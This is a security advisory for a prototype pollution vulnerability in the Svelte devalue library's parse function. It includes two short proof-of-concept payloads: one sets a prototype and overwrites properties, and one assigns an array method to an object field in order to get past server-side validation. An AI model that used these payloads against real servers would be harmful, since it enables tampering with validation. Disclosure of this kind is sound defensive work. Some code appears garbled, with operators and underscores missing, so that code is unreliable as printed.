CVE-2025-57820: Svelte devalue vulnerable to prototype pollution

1. devalue.parse allows proto to be set

A string passed to devalue.parse could represent an object with a proto property, which would assign a prototype to an object while allowing properties to be overwritten:

js class Vector { constructor(x, y) { this.x = x; this.y = y; }

get magnitude() { return (this.x 2 + this.y 2) 0.5; } }

const payload = [{"x":1,"y":2,"magnitude":3,"proto":4},3,4,"nope",["Vector",5],[6,7],8,9];

const vector = devalue.parse(payload, { Vector: ([x, y]) => new Vector(x, y) });

console.log("Is vector", vector instanceof Vector); // true console.log(vector.x) // 3 console.log(vector.y) // 4 console.log(vector.magnitude); // "nope" instead of 5

2. devalue.parse allows array prototype methods to be assigned to object

In a payload constructed with devalue.stringify, values are represented as array indices, where the array contains the 'hydrated' values:

js devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"]

devalue.parse does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:

js const object = devalue.parse('[{"toString":"push"}]'); object.toString(); // 0

This could be used by a creative attacker to bypass server-side validation.